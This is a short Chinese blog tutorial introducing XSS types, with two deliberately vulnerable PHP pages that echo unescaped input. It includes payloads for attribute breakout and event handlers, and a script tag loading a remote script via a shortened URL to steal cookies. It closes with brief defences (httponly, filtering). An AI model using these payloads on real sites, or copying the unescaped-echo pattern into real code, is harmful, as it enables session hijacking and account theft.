初窥XSS跨站脚本攻击

XSS跨站脚本攻击的分类

一、 反射型XSS跨站脚本攻击

二、 存储型XSS跨站脚本攻击

三、 基于DOM的XSS跨站脚本攻击


1.反射性XSS

经过后端,不经过数据库

2.储存型XSS

经过后端,经过数据库

3.基于DOM型的XSS

不经过后端,DOM—based XSS漏洞是基于文档对象模型(即Document Objeet Model缩写为:DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。DOM 定义了访问 HTML 和 XML 文档的标准:

案例一:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" size="50" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为:<br>'.$xss;
?>
</body>
</html>

输入payload:

<script>alert('xss')</script>

仅仅是弹窗?

<script>alert(document.cooki)</script>  //可以打印COOKIE

<script src=https://is.gd/86Zg1z></script>  //结合XSS平台打COOKIE,单引号什么的都要去除。

案例二:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>

在输入处输入aa以后看源码:

然后写出绕过payload

"><script>alert('xss')</script>

后来看文章发现这个也可以:

" onclick="alert(&#039;xss&#039;)

039是单引号的ASCII值.在其前面加&#即可.也是可以弹窗。注:需要触发。

需要触发肯定很麻烦,这个时候我们可以换一些别的事件。

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

例如:" Onmousemove=" src=http://t.cn/R6uYrF2

然后换成打cookie的payload:

 " Onmousemove="alert(&#039;&#039;)

参考:http://www.freebuf.com/articles/web/54686.html

如何防御XSS

1.httponly

2.过滤输入输出是否包含特殊字符

原文地址:https://www.cnblogs.com/xishaonian/p/6637617.html